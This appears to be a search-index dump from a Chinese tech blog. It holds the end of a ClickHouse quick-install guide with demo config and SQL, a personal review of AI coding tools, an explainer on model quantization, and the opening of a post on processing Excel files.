\u0026lt;ip\u0026gt;::/0\u0026lt;/ip\u0026gt; 18 \u0026lt;/networks\u0026gt; 19 \u0026lt;quota\u0026gt;default\u0026lt;/quota\u0026gt; 20 \u0026lt;/default\u0026gt; 21 \u0026lt;api\u0026gt; 22 \u0026lt;password\u0026gt;api\u0026lt;/password\u0026gt; 23 \u0026lt;profile\u0026gt;default\u0026lt;/profile\u0026gt; 24 \u0026lt;networks\u0026gt; 25 \u0026lt;ip\u0026gt;::/0\u0026lt;/ip\u0026gt; 26 \u0026lt;/networks\u0026gt; 27 \u0026lt;quota\u0026gt;default\u0026lt;/quota\u0026gt; 28 \u0026lt;/api\u0026gt; 29 \u0026lt;worker\u0026gt; 30 \u0026lt;password\u0026gt;worker\u0026lt;/password\u0026gt; 31 \u0026lt;profile\u0026gt;default\u0026lt;/profile\u0026gt; 32 \u0026lt;networks\u0026gt; 33 \u0026lt;ip\u0026gt;::/0\u0026lt;/ip\u0026gt; 34 \u0026lt;/networks\u0026gt; 35 \u0026lt;quota\u0026gt;default\u0026lt;/quota\u0026gt; 36 \u0026lt;/worker\u0026gt; 37 \u0026lt;/users\u0026gt; 38 39 \u0026lt;quotas\u0026gt; 40 \u0026lt;default\u0026gt; 41 \u0026lt;interval\u0026gt; 42 \u0026lt;duration\u0026gt;3600\u0026lt;/duration\u0026gt; 43 \u0026lt;queries\u0026gt;0\u0026lt;/queries\u0026gt; 44 \u0026lt;errors\u0026gt;0\u0026lt;/errors\u0026gt; 45 \u0026lt;result_rows\u0026gt;0\u0026lt;/result_rows\u0026gt; 46 \u0026lt;read_rows\u0026gt;0\u0026lt;/read_rows\u0026gt; 47 \u0026lt;execution_time\u0026gt;0\u0026lt;/execution_time\u0026gt; 48 \u0026lt;/interval\u0026gt; 49 \u0026lt;/default\u0026gt; 50 \u0026lt;/quotas\u0026gt; 51\u0026lt;/clickhouse\u0026gt; 密码用 sha256sum 处理过\n可以这样生成：\n1echo -n \u0026#39;你的密码\u0026#39; | sha256sum 运行 点击登录跳转至首页\n客户端连接 用户名：default 密码： 你的密码 端口：8123 数据库初始化 初始化 sql 脚本\n1/* 1. 创建数据库（如已存在可先 DROP DATABASE IF EXISTS testdb） */ 2CREATE DATABASE IF NOT EXISTS testdb; 3 4/* 2. 维度表：用户 */ 5CREATE TABLE IF NOT EXISTS testdb.users ( 6 user_id UInt32, 7 user_name String, 8 signup_date Date 9) ENGINE = MergeTree 10ORDER BY user_id; 11 12/* 3. 维度表：页面 */ 13CREATE TABLE IF NOT EXISTS testdb.pages ( 14 page_id UInt32, 15 page_url String, 16 category String 17) ENGINE = MergeTree 18ORDER BY page_id; 19 20/* 4. 事实表：页面访问日志 */ 21CREATE TABLE IF NOT EXISTS testdb.pageviews ( 22 event_date Date, 23 event_time DateTime, 24 user_id UInt32, 25 page_id UInt32, 26 duration UInt32 -- 停留秒数 27) ENGINE = MergeTree 28PARTITION BY toYYYYMM(event_date) 29ORDER BY (event_date, user_id, page_id); 30 31/* 5. 物化视图：每日 PV / UV 聚合 */ 32CREATE MATERIALIZED VIEW IF NOT EXISTS testdb.pv_uv_daily 33ENGINE = SummingMergeTree 34PARTITION BY toYYYYMM(event_date) 35ORDER BY event_date 36AS 37SELECT 38 event_date, 39 count() AS pv, 40 uniqExact(user_id) AS uv 41FROM testdb.pageviews 42GROUP BY event_date; 43 44/* 6. 演示数据插入 ---------------------------------------- */ 45 46/* 用户维度 */ 47INSERT INTO testdb.users (user_id, user_name, signup_date) VALUES 48 (1, \u0026#39;Alice\u0026#39;, \u0026#39;2024-06-01\u0026#39;), 49 (2, \u0026#39;Bob\u0026#39;, \u0026#39;2024-07-15\u0026#39;), 50 (3, \u0026#39;Cathy\u0026#39;, \u0026#39;2024-11-30\u0026#39;); 51 52/* 页面维度 */ 53INSERT INTO testdb.pages (page_id, page_url, category) VALUES 54 (10, \u0026#39;/home\u0026#39;, \u0026#39;landing\u0026#39;), 55 (11, \u0026#39;/pricing\u0026#39;, \u0026#39;info\u0026#39;), 56 (12, \u0026#39;/blog\u0026#39;, \u0026#39;content\u0026#39;); 57 58/* 页面访问日志 */ 59INSERT INTO testdb.pageviews (event_date, event_time, user_id, page_id, duration) VALUES 60 (\u0026#39;2025-07-13\u0026#39;, \u0026#39;2025-07-13 09:17:00\u0026#39;, 1, 10, 35), 61 (\u0026#39;2025-07-13\u0026#39;, \u0026#39;2025-07-13 09:18:07\u0026#39;, 1, 11, 50), 62 (\u0026#39;2025-07-13\u0026#39;, \u0026#39;2025-07-13 09:19:02\u0026#39;, 2, 10, 15), 63 (\u0026#39;2025-07-14\u0026#39;, \u0026#39;2025-07-14 10:03:45\u0026#39;, 3, 12, 120), 64 (\u0026#39;2025-07-14\u0026#39;, \u0026#39;2025-07-14 10:05:22\u0026#39;, 1, 12, 90); 65 66/* 7. 快速验证 --------------------------------------------- */ 67 68/* 查看当前数据库已创建的表 */ 69SHOW TABLES FROM testdb; 70 71/* 查询物化视图结果 */ 72SELECT * FROM testdb.pv_uv_daily ORDER BY event_date; 73 74/* 联表查询示例 */ 75SELECT 76 u.user_name, 77 p.page_url, 78 v.event_time, 79 v.duration 80FROM testdb.pageviews AS v 81LEFT JOIN testdb.users AS u ON v.user_id = u.user_id 82LEFT JOIN testdb.pages AS p ON v.page_id = p.page_id 83ORDER BY v.event_time DESC; ","date":"2025-07-17T09:33:05Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-17-kuai-su-an-zhuang-clickhouse/cover.jpg","permalink":"/p/2025-07-17-kuai-su-an-zhuang-clickhouse/","title":"快速安装 ClickHouse"},{"content":"经过近 2 年的 AI 编程工具使用，积累了一些使用这些工具的经验和心得，本文分享出来。\n以下分类纯属个人偏好，无任何客观依据，全是主观感受，仅供参考。\n第一梯队 Claude Code、Cursor、Augement Code、Windsurf、Warp、Gemini CLI\n第一梯队里的大家应该很熟悉，都是明星产品，我从接触时间的早晚来分别聊一下。\nCursor Cursor 算是老朋友了，一直用。早期最令我兴奋的一款 AI 编程工具产品，还专门写了篇文章尬吹了一下 Cursor 一个真正让程序员产生危机感的 AI 编程工具，今天翻回去看，我觉得吹的内容用 Cursor 基本上都能实现了。\n经过多次版本更新，Cursor 的使用模式稳定在了三种\n用过 AI 工具的都知道，工具最核心的是底层使用的模型是什么，模型强不强决定着 “输出” 质量高不高，也就决定着代码质量。这跟开发者的切身利益可是息息相关的。\n很多开发者使用 Cursor 最看重的就是它能够使用 Claude 家最能打的模型，过去是 claude-3.5-sonnet 现在是 claude-4-sonnet 以及 claude-4-opus 。这对于非专业开发者可能不够熟悉，大众更熟悉的是 OpenAI 的 4o 或者 Google 家的 gemini，无可厚非，但毋庸置疑的是，上面提到的 claude 家的一系列模型在编程领域就是最强的。不然广大开发者也不会心甘情愿的 “氪金” 来使用它。\n越好的模型越受欢迎，自然价格也水涨船高，像下面这两个模型我一般不开，因为（Max Only）除了订阅费以外还要单独收费\n除了常规的操作，Cursor 自然也加入了 MCP，你可以添加自定义的 MCP\n不过从我的日常开发使用经验上来说，MCP 用的时候不多。Cursor 自己其实也内置了一些 MCP，比如它会读你的本地文件，新建终端并执行 CLI 命令，联网搜索相关问题的答案等。\nCursor 一直在更新，无论是添加新功能，还是改善老功能，总之肉眼可见的在进步，然而还是有一些常见的使用问题，它比较影响用户体验。比如使用 claude-4-sonnet 时经常报网络异常，你跟他开始聊得好好的，有时候就突然开始没法响应了，报网络异常，有些时候是真着急，因为你代码改到一半，消耗了那么多 token 和时间，总不能半途而费吧，可 Cursor 就是不给你响应了，等待让人焦虑和上火。这时候我通常会切换到其他模式试一试比如 gemini。gemini 的最大优点是上下文够长，1M 上下文一般一个 Thread 怎么也够用了。但这也有风险，就像你同时请教 2 位专家，一位说着说着停了，你转头问另一位，但关键是 2 个人就有可能有 2 种不同的思路，这时候修改代码就需要你特别注意了，不要被误导，因为第 2 位可能会完全颠覆第 1 位提供的代码和思路。（我已被坑过了 🤣）\n其实这个问题我要反思，用 AI 工具开发，不能真的是 Vibe Coding ，因为我们是专业的开发人员，不能偷懒，否则容易被坑，得不偿失。**AI 要像 “领航员”、“辅助驾驶” 、“僚机” ，不能够完全托管给它，因为专业的开发人员写的代码不是玩具，也不是仅仅能 run 起来就行的代码。**我们要考虑的问题很多，比如架构、扩展性、易读性、性能、成本、团队情况等等。\n如果你抱着谨慎的态度使用 AI编程工具和你一起编程的话，可能使用最多的就是 TAB ，而这一点 Cursor 做的相当不错，可以说是很神，你改了一个函数、参数、方法声明、方法实现，按一下 TAB 它是真的很智能，基本上能够想到你应该做的下一步是什么，这些本来就需要做的，比如重构，让它完美的提醒，这正是使用 Cursor 这种 AI 编程工具的一个非常适合的场景。\n而如果你抱着宽容、放纵的态度使用 Cursor 的话就一定会被 AI 的另一面所伤，比如 “幻觉”，当然伤势情况根据你的宽容程度而定。如果你放手让他大刀阔斧的进行重构，它有可能删除很多文件，新建很多文件，理想的情况是完美的完成了，但前提也一定是你给他做好了任务规划，让他一次只完成一个具体的任务，而不是给一个比较笼统的要求，比如重构一下整个项目。\n还有一种情况是上下文，虽然像 gemini 这种模型具有长上下文，我们在使用时也要脑子里有这根弦，上下文不能够太长，太长很容易产生幻觉和出一些意想不到的问题。我记得有一次我为了解决一个 bug，一直在一个 Thread 中和模型交互，模型最后的解决方案是把我 bug 相关的代码全部删除了，然后跟我说：“我保证，这次一定不会有问题了” 。 🤣 我是真谢了～\n所以，我们到底应该抱以什么态度来使用 AI 编程工具是个关键的问题，我认为要具体问题具体分析，如果你真的是为了写一个 demo 而写代码，真的是能 run 就行，那可以采取比较激进和宽容的态度，放手让AI 实现，没什么大不了的，大不了就从头重写。而如果你写的是公司的生产级代码，那么就需要秉承谨慎和适当放手的策略，全程监督，让 AI 辅助你，而不是完全让他 “自动驾驶”。AI 越来越强大，但人类需要学习，哪怕慢一点，边学边干。否则\u0026hellip;\u0026hellip;(此处省略一万字)\nWindsurf 在早期，相对 Cursor,我更喜欢 Windsurf ，原因很简单，同样的底层模型，不知道为什么， Windsurf 给的结果就是更好，更实用、可用。其实发展到现在，从功能上讲它跟 Cursor 差别不大，但从我的使用习惯、使用频率、模型以及软件背后母公司的发展等多方面考虑，最后我还是选择使用 Cursor 作为主力 AI 编程工具。\n后来的事情大家都知道了：“OpenAI 同意以 30 亿美元的价格收购Windsurf”\n后来，Winsurf 发布了自己的新模型 : SWE-1\n总之，Winsurf 并不是牛夫人，它是一个很不错的软件，我也表示对它的敬畏和欣赏，Cursor 有的问题它也有，Cursor 没有的问题它不见得没有，只不过是我使用的时间没有那么长而已。\n也许有一天我还会转回使用 Winsurf，但现实就是如此，我不可能同时开那么多订阅，花那么多钱在多个 AI 编程工具上面。\nClaude Code 就在 Cursor 等一众 AI Coding 工具大杀四方的时候 Claude 低调地推出了它的 Claude Code。起初非常不起眼，我甚至都没有兴趣试用一下，直到后来有很多人用过了以后开始对它大为赞赏这才引起了我的兴趣。\n作为一个看起来有点儿 “土” 的工具，它是以终端命令的形式提供给用户使用的，不是 IDE，没有 GUI 界面，只有命令，你需要在终端使用命令和它交互。\n其实作为专业的开发人员，对命令行并不陌生，反而会更亲近，这种形式没有 GUI，效率更高，但相对的是它对非专业人士没有 Cursor、VsCode 这种 IDE 友好。对于我来说，这无所谓，我都能接受。因为我看的是效果、结果、代码质量。\n但另一个问题就是个很大的门槛了，那就是 Claude 的账户问题。无论使用 Cursor 还是 Claude Code，花钱订阅几乎是必须的，但 Claude 家对账号的管控几近变态，动不动账户就被 ban 了，你需要拥有一个 “稳定” 的干净的账号，然后再订阅，其实说难也不难，但处理起来比较麻烦。当然也有使用 API 中转的方式，相对方便，这里就不多说了。\n我在深度体验了 2 天 Claude Code 后明白了为什么大家都想订阅 200每月的服务，因为真的很烧，而 的是不限 token 的，而且服务比较稳定，不像 Cursor 时不时的会抽风。\n我大致同意网上对 Claude Code 的赞美，但我也发现了很多无脑吹的，这和我的体验大相径庭，所以我得谈谈我的感受：\n首先，Claude Code 内置了许多 tools，而且它对任务的规划比较完整，再加上 tools，这样它对任务的执行就比较完整，注意不是完美，而是完整，不会让一个任务 “缺胳膊少腿”，总是差一点儿。 完整的任务规划的代价就是烧 token，会用很多的 token，如果你没有订阅 200$ 这种无限量的，那可得省着点儿用。 会思考，根据上下文、程序的输出日志、执行情况推断任务是否完成，是否重新执行，是否修改任务重新执行等，你看这么多事儿都是要调用模型的，也是要烧 token 的。 无论哪个模型，仍然有幻觉，我们在其他 AI 工具上的经验可以移植，要谨慎，不要轻信它。 它看起来很强大，可以思考、规划并自动完成你指定的任务，即便是比较大的任务。但很慢，对于你自己能干的事情，没必要浪费时间让它干，之前我偷懒让它完善一下 .gitignore 文件，它花了好久才搞定，虽然正确，但我干只需要一秒。而它要动用很多工具进行全面的分析，最后得出一个只改一行代码的结论。有点儿坑。 对代码的管理依赖 git，虽然无可厚非，但确实不如 Cursor方便，鼠标点一下就能 restore 了。这一点儿我不争论，它是个习惯问题，就像不习惯使用 Vim 的虽然也承认 Vim 高效，但就是用不惯。 用最强的模型+最优的 prompt 自然能产生最好的结果，这是人和 AI 配合的结果，我不知道这个优点能不能算到 Claude Code 的头上，因为对于其他 AI Coding 工具也适用。我不知道能不能算的原因还有一个是我不并知道 Cursor 内部做了什么，Claude Code 内部又做了什么，我只能拿结果比较，事实是 Claude Code 略胜一筹，但却让我有一丝担忧，因为它总让我有种快控制不了它的感觉。（指不定什么时候要出事儿） 起初，我对 Claude Code 的热情是高涨的，但由于我的 2 个账号接连被 ban，订阅费又这么贵，合计了一下，还是回到 Cursor 了。这并不是说 Claude Code 不好，只不过对于我，这是个选择问题。\n哦，对了，因为不是 IDE，纯命令行，所以如果你用习惯了 TAB ，Claude Code 可没有哈。使用模式要变。\nGemini CLI Google 是一家任谁都不能忽视的公司，在科技领域遍布它的身影，自然 AI Coding 工具也少不了它的参与。\n在我写这篇文章的上午 ，google 参战了，发布了 Gemini CLI，它是开源免费的，你用 Google 账号登录，就能直接使用，每天有 1000 次限额，够用了。\n它的产品逻辑和 Claude Code 一样，你可以把它理解成 Claude Code 的平替。它是开源的。\n从功能、使用体验、效果等各个角度来看，目前它确实都不如 Claude Code，但它的优势也是那么的明显：免费、gemini 2.5模型上下文够长，量大管饱、大厂背书可信赖、将来生态集成可期\u0026hellip;\n从我在 Cursor 使用 gemini 模型的经验来看，我对 Google , 不，应该是 gemini 是有强烈好感的，它确实强：比我命还长的上下文（1M），强大的推理和思考能力，不输给任何模型的基础能力，你还要什么自行车呢？ 用就好了。\nWarp Warp 最初是作为终端工具进入我的视野的，那时候 我还在用 iTerm2，使用了 Warp 以后，被它良好的用户体验和优美的外观吸引。随着它不同的更新，在最近两年加入了 AI 功能，成为了一个智能开发工具。\n由于我经常进行服务器的运维工作，终端工具的使用是非常频繁的，小到执行些基础的运维命令，大到写 shell 、python 脚本 ，进行服务器初始化 、k8s 部署。\n其实相比 Claude Code，Warp 新加的 AI 功能带给我的体验是很自然的。因为在命令行环境，我的输入、输出 Warp 都能捕获到，进而给我具体的建议和任务规划，当然，它背后仍然是大模型提供的能力。\n在我敲命令时，它可以给我提示，当命令执行完成输出结果时，它可以指导我进行下一步的操作，如果我忘了命令该怎么写，它也可以完成命令，或者给出最合理的建议并自动执行。\n当然用模型是要花钱的，它有一些免费的额度，用完了就需要付费了。最近它又加入了 “上下文” ，可以将你的代码工程作为上下文给他分析，同时与你一起结伴编程。\n这就和 Claude Code 以及 Gemini CLI 很像了。不过说实话我用 Warp 还是基于命令行的场景，编程一般不会它，还是会用 Cursor。但它确实越来越强了，值得大家的关注。\nAugement Code 无论 Cursor、Claude Code 如何优秀，都有令人不满的地方，在体验了这么多产品以后，我发现 Augement Code 比较适合我，虽然我还没有正式订阅，但它是目前为止我最满意的。\nAugement Code 目前并不是一个独立的 IDE，而是一个插件，它可以在 IDEA 以及 VsCode 中安装使用。\n作为一个 AI Coding 工具，它的基础功能和 Cursor 差不多，就不赘述了。下面说说它的特点：\n你无法选用模型，从现在知道的资料来看，貌似使用的是 claude-3.5-sonnet ，但我觉得可能不是，很有可能是更强的。虽然无法选模型，但输出质量很高。不比 Cursor 这种可选模型的差。所以如果是 claude-3.5-sonnet 就能输出这样的质量，那 Augement Code 团队可真了不起。 会自动进行一系列的任务规划，并清楚地展示给你看具体细节 任务规划完成后，对于没有把握或你没有确认过的事项，更倾向于新建文件，而不是修改你原本的代码。这一点我很受用，因为 Cursor 经常在多轮对话中把代码越改越滥，最后迫不得已我点了 restore checkpoint\n稳定，很少出网络异常\n不便宜，需要订阅，比 Cursor 贵，每月 50$ 起，而且是限量的（600 次消息）\n目前我还在试用中，从现在的使用情况看，后面很有可能会换用 Augement Code，退订 Cursor。不过我还是有点儿犹豫，因为 Cursor 不限量啊。\n第二梯队 Cline、Copilot、firebase\n从第二梯队开始，我在开发上的使用频率依次递减。\nCopilot 应该是也不用过多介绍了。Github ，哦不，微软家的。\n最开始是大哥，现在是小老弟了。平时几乎不用，偶尔测试一下，看看效果如何，一点儿都不能打，整体跟 Cursor 那一众差远了，\nfirebase 也是 Google 家的，但总感觉不是给开发者用的，全 web 的形式，不是 IDE，用起来别扭，但因为模型强大，所以做个前端 demo 什么的效果还不错，真正在开发场景我是不会用的。\nCline 开源免费，插件形式提供。自己通过 API 配置模型，整体效果还可以，但维护的心智成本略高，用了几天弃了，用回了 Cursor。不是人家不好啊，是我的选择问题。用的人还是很多的，整体成本小，对于用量不大的，你随便买个 API 一接就能使了。\n第三梯队 Trae、通义灵码、MarsCode、微信开发者工具\nTrae 字节家的，对于它，早期乃至现在的噱头都很足，可以在国内网络环境下使用世界最先进的模型。但是，我真的不知道是什么原因，同样的模型，比如 claude-4-sonnet Cursor 整体返回的结果就是 OK 的，Trae 就是稀烂。所以我怀疑不是模型的事儿，但又不知道是哪里出的问题。经过多次的尝试效果始终赶不上 Cursor，甚至还不如 Cline,弃了，以后也不会用。\n不过它有它的市场，好好做也许会越来越好吧，谁知道呢？\n通义灵码、MarsCode、微信开发者工具 这些产品我都是早期的使用者，开始都很惊艳，因为早期我也是土包子没见过世面，觉得 AI 工具真的很强大。后来被其他工具征服了以后对这些就没兴趣了。嗯，这些是真正的 “牛夫人”。 如果有条件也不推荐别人用了，有更完善和强大的工具，没必要没苦硬吃。\n第四梯队 DeepSeek、ChatGPT、Claude、通义千问、腾讯元宝等\n理论上这些在我这里都不算 AI 编程工具，它们全部都是 文生文的产品。只不过内置了可以预览和编程的工具。但那都仅仅限于代码片段。写个玩具还行，写项目？别闹。\n最近 OpenAI 贼心不死，收了 winsurf 后还要搞编程工具，出了个 codex 集成在 ChatGPT中。说实话 ，玩玩儿还行，有点儿鸡肋。\n其他 v0、bolt、Lovable\n如何让 AI 编程赋能给普罗大众？ 以上这些产品给出了各自不同的答案 。\nv0 v0 是我使用最多的产品，一般画个架构图，写个页面 Demo，直接聊天就行了，效果也是越来越好。\nbolt bolt 由 Supabase 集成支持，支持上传图片/文件作为提示生成应用原型，适合快速开发应用。支持从设计稿到应用的一键生成。（是这么宣传的，但越是复杂的项目越不可能）\nLovable 支持通过自然语言生成交互式界面代码，与 v0 类似，但更侧重于低代码与 AI 结合的开发模式，适合非技术人员快速构建应用。尤其偏重于设计师群体。\n设计这个领域不止是 Lovable，国人也有产品发布，比如 YouWare。\nYouWare 拥有「代码快速转化与分享」「自然语言生成网站」「一键美化作品」「创意流动与共创」「和谐社区环境」「自主控制作品曝光」和「创作激励体系」七大产品亮点。\n创始人明超平曾在一加手机担任手机影像产品经理，在字节跳动负责剪映 / Capcut 手机端工具，在月之暗面做过核心产品负责人。\nYouWare 这个产品就是 帮助普通用户通过 AI Coding 将创意和灵感迅速转化为作品\n最后 我将用一句话总结一下 AI Coding 的未来：帮助用户（专业的和普通的）通过 AI Coding 将想法利用代码作为媒介转化成产品。\n无论 是什么想法 无论 是什么产品 无论 是什么用户 AI Coding 未来的想象空间，理论上，是无限的。\n","date":"2025-06-26T08:14:34Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-06-26-ai-bian-cheng-gong-ju-shi-yong-you-gan/cover.jpg","permalink":"/p/2025-06-26-ai-bian-cheng-gong-ju-shi-yong-you-gan/","title":"AI 编程工具使用有感"},{"content":"想象一下，如果我们能把动辄几百MB的大型AI模型“压缩”到手机里运行，是不是很神奇？这并非天方夜谭，其中的关键就是量化技术。近年来，量化已成为人工智能领域的热门话题，通过给模型做“减法”，让AI模型变得又轻又快。\n什么是量化？ 通俗地说，量化就是降低数字表示的精度，把原本高精度的数值变为低精度。例如，本来AI模型的参数用32位的浮点数（FP32）表示，现在改用8位的整数（INT8）来表示。也就是说，用更少的比特位去表示同样的信息。这样做相当于给模型进行了压缩：所需存储空间大大减少，计算起来也更简单。需要注意的是，精度降低往往会带来量化误差，也就是模型预测的细微准确率损失。一般情况下，我们以8位量化为目标（即INT8），目前业界也已成功尝试更低的4位量化。量化过程本质上就是用压缩技术将更多比特的数据转换为更少比特的数据，同时尽可能保持模型性能不大打折扣。\n为什么量化很重要？ 随着AI模型（尤其是大模型）的规模爆炸式增长，模型的计算负担和部署难度也水涨船高。量化正是一剂“瘦身良方”，在尽量保持模型准确性的前提下，大幅降低模型的资源需求。这对现实应用而言意义重大：\n⚡ 更快的推理速度：量化把模型的计算从浮点运算变为整数运算，单次计算所需处理的位数减少，矩阵乘法等操作自然更快。这能显著降低模型响应延迟，在保持精度基本不变的同时大幅提升推理速度。对于需要实时响应的应用来说（如语音助手、实时翻译），速度提升至关重要。\n📱 本地运行与高效部署：当我们希望在移动设备、边缘设备上运行AI模型时，量化几乎是不可或缺的工具。将浮点表示转换为低精度整数后，模型的计算与内存需求大幅下降。这意味着笔记本、平板、智能手机甚至微控制器上都可以跑得动原本“跑不动”的模型。举例来说，采用TensorFlow Lite对模型进行INT8量化，可以让模型体积缩小约75%，推理速度提高4倍左右，而准确率仅轻微下降约2%。如此一来，我们的手机也能流畅运行起复杂的AI功能。\n🔋 降低功耗：模型计算量减小直接带来能耗降低。对于电池供电的设备（手机、笔记本、物联网传感器等），量化后的模型更省电，延长设备续航。在自动驾驶汽车中，车辆需要依靠电池或有限的供电运行大量AI算法。通过INT8量化，这些车辆可以更快地做出实时决策，同时消耗更少能量，让电动车续航更久。\n💾 模型更小巧：经过量化压缩，模型体积和内存占用都会大幅缩减。模型文件更小，意味着传输、存储都更方便，也降低了对硬件内存的要求。很多大型网络（如原始的VGG-16有超过500MB）无法直接部署在小设备上，但经过8位量化，内存和带宽占用最多可减少四分之三，让原本笨重的模型变得轻盈。\n🤝 兼容性与可移植性：量化后的模型使用整数运算，这使其可以在一些不支持浮点运算的旧平台上运行。同时，由于模型更小、更“平易近人”，普通的消费级GPU甚至CPU都能跑得动，这大大拓宽了AI模型的可部署范围。例如，一些老式嵌入式设备、本地浏览器环境等，都可能因为量化技术而得以跑起机器学习模型。\n综上所述，量化让AI模型在速度、效率、能耗和适用性方面都得到提升，堪称AI模型优化的利器。正因为这些优势，量化已经成为从云端服务器到边缘设备各类AI部署中的关键工具。\n量化是如何实现的？ 量化听起来很美好，那么具体是怎么做到的呢？核心思想其实不难：确定一个映射规则，把原来范围很大的浮点数映射为范围较小的整数。通常做法是计算一个缩放因子，用它把32位浮点值缩放并四舍五入到最接近的8位整数值。例如，某模型权重向量的最大值是6.2，那么以INT8范围[-127,127]来说，我们用127/6.2≈20.5作为缩放系数，把每个浮点数乘以20.5再取整，就得到对应的整数值。通过这样的线性映射，原始的权重就转换到低精度表示了。当然，这样难免引入一定误差，需要结合算法尽量减少误差影响。\n在具体实现上，常用的量化流程主要有两种：\n训练后量化 (PTQ)：顾名思义，就是在模型训练完毕后再对模型进行量化处理。直接将已有模型的权重从浮点表示转换为定点的低精度整数表示即可。这种方法不需要重新训练模型，因而速度快、所需数据少，非常实用。当你已经有一个效果不错的模型，想让它运行更快、更省资源时，PTQ是很好的选择。然而，PTQ相当于事后压缩模型，难免出现一些性能下降，即模型精度可能有所降低。\n量化感知训练 (QAT)：这是把量化融入训练过程的一种方法。在模型预训练或微调阶段，就模拟低精度运算来调整权重。简而言之，就是让模型在训练时就“意识到”日后要用低精度计算，从而提前学会适应。这样训练出来的模型对量化的精度损失更不敏感，因而最终精度往往比PTQ方式更高。但QAT的代价是需要更多的计算资源和大量代表性数据来训练——等于重新训练或微调一遍模型，所以成本更高。因此，通常在有充足的数据和算力预算、且追求极致模型性能的情况下才会选用QAT。反之，如果预算有限或者模型已经足够好，那PTQ就更实惠。\n除了以上两种主要方式，还有量化过程中的一些技术细节，比如动态量化和静态量化。简单来说，两者差别在于如何确定量化时的取值范围（也称校准）。动态量化是在模型运行时根据每批输入动态计算最佳范围，使模型获得更高精度；静态量化则在部署前用一批数据先离线计算出固定范围，应用于所有后续推理。动态方法往往精度好但实现复杂，而静态方法较常用但需要仔细选择校准数据。无论采用哪种策略，目标都是找到平衡精度和效率的最佳量化方案。\n值得一提的是，现在主流的深度学习框架（如TensorFlow、PyTorch）都提供了完善的量化工具包，帮助开发者一键将模型量化，无需事必躬亲计算缩放系数。例如，TensorFlow Lite支持直接将Keras模型转换为INT8量化的.tflite模型，用于移动端或微控制器部署。这些工具让量化实施变得简单高效，降低了技术门槛。\n量化的挑战 量化有诸多优点，但也并非万能药，在应用中需要权衡以下挑战：\n🎯 精度下降（准确率损失）：正如前面提到的，量化引入的误差可能导致模型预测精度下降。对于一些对细节敏感的任务（如医疗影像分析、自然语言处理）来说，哪怕1-2%的精度变化都很重要。一般来说，模型参数越多、结构越复杂，量化带来的累计误差可能越明显。特别是超大型的LLM模型，层数深参数多，如果直接量化，误差会层层叠加，造成显著性能下降。因此在应用量化时，需要通过校准、QAT等方式尽量降低精度损失，把量化误差控制在可接受范围。\n💰 实现成本与复杂度：采用更高级的量化方案（例如QAT）往往意味着更高的计算和时间成本。对一些资源有限的团队来说，从头训练一个量化感知模型并不现实。所以很多情况下会选择折中的PTQ，即使牺牲一点性能也无妨。这就涉及一个取舍：精度 vs 成本。此外，不同硬件对低精度计算的支持程度不一，实现量化需要考虑软硬件配合。如果部署平台缺乏对INT8等低精度运算的优化，反而可能达不到预期的加速效果。开发者需要针对具体硬件进行测试调优。有时还需结合其他压缩手段（剪枝、蒸馏等）一起使用，才能达到理想的模型大小和速度。这些都增加了实现量化的复杂度。\n总的来说，量化的挑战在于平衡：一方面是尽可能降低模型尺寸和计算量，另一方面是尽量保持模型原有的准确率不受大的影响。这种平衡需要根据具体应用场景反复试验和拿捏。不过，随着算法和芯片的发展，量化带来的精度损失正在逐步减少，新技术甚至探索4位、2位量化还能维持不错的效果。这使得量化正越来越成熟可靠，成为AI模型优化的常规选项。\n实际应用场景 量化技术已经广泛应用于各种AI场景中，让原本笨重的模型走入寻常百姓家。以下是几个贴近生活的例子：\n📱 智能手机上的AI：我们的手机中藏着许多AI功能——相册应用的图像识别、语音助手的语音识别、摄像头的实时滤镜等等。这些功能背后的模型都受益于量化技术。通过8位量化，模型变小变快，手机才能离线实时完成复杂计算，而不会让电池瞬间耗尽。比如，Google Lens等应用据报道就使用了INT8量化模型，在手机端流畅运行，同时不至于发热严重或很快耗电。可以说，没有量化，就没有如今手机上丰富的AI体验。\n🚗 自动驾驶与车载AI：自动驾驶汽车需要依赖大量神经网络模型来处理摄像头、激光雷达等传感器数据，从中识别行人、车辆、交通标志并做出驾驶决策。这些模型必须在车载计算平台上实时运行，容不得半点延迟。通过量化，车载AI模型的推理速度大大提高，每毫秒都得到珍惜。更快的模型意味着汽车可以更及时地刹车或转向，保障行车安全。同时，量化模型计算量低，也减轻了车辆电力系统的负担。毕竟，电动汽车上一块GPU很耗电，而模型瘦身后就能在有限算力下完成任务，让自动驾驶系统运行更长时间、更稳定。\n🌐 边缘设备与物联网：在农业、工业、安防等领域，越来越多的小型边缘设备也开始搭载AI。例如，农田里的物联网传感器可能运行着一个微型的作物病虫害预测模型。这种传感器往往只靠电池供电，需要连续工作数月不更换电池。通过将模型量化为INT8，这些传感器上的“小模型”既可以快速处理数据，又将功耗控制在极低水平。有报道显示，农场里的IoT设备利用量化后的模型来预测灌溉需求或病虫害风险，量化确保模型以极低能耗实时运行，让传感器在不充电的情况下运作数月之久。同理，在安防摄像头上部署的人脸识别、在可穿戴设备上的健康监测算法等，都因为量化得以在计算资源有限的设备上实现。这为AI的普及打开了广阔的应用空间。\n以上种种场景表明，量化技术正悄然推动着AI从云端走向本地，从大型服务器走向我们身边的各类小设备。无论是手机、汽车还是物联网传感器，量化让AI模型接地气地融入各种行业和日常生活。\n最后 在AI模型优化的众多手段中，量化可谓简单却威力巨大的一招。通过让模型“瘦身”，我们能以很小的代价换来可观的性能提升和部署便利。当然，量化并非没有代价，如何在效率和准确率之间取得最佳平衡是一门艺术。但随着技术演进，这个平衡点正变得越来越高效。可以预见，未来更低比特的量化方案（如4位甚至更低）可能走向实用，为AI模型带来更极致的压缩与加速效果。\n","date":"2025-06-07T14:30:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-06-07-rang-ai-mo-xing-shou-shen-ti-su-jie-mi-liang-hua-ji-shu/cover.jpg","permalink":"/p/2025-06-07-rang-ai-mo-xing-shou-shen-ti-su-jie-mi-liang-hua-ji-shu/","title":"让 AI 模型瘦身提速：揭秘量化技术"},{"content":"前言 处理 Excel 文件时会遇到一些独特的挑战。与典型的结构化格式不同，由于合并单元格、多个表头、嵌入式图表和非传统的布局（这些布局主要设计用于人阅读而非机器解析）等元素，这些文件在数据提取和处理方面存在障碍。\n在处理 Excel 时可能会遇到各种 Excel 文件格式，从现代的 .xlsx 到旧版的.xls 或宏启用版的 .xlsm 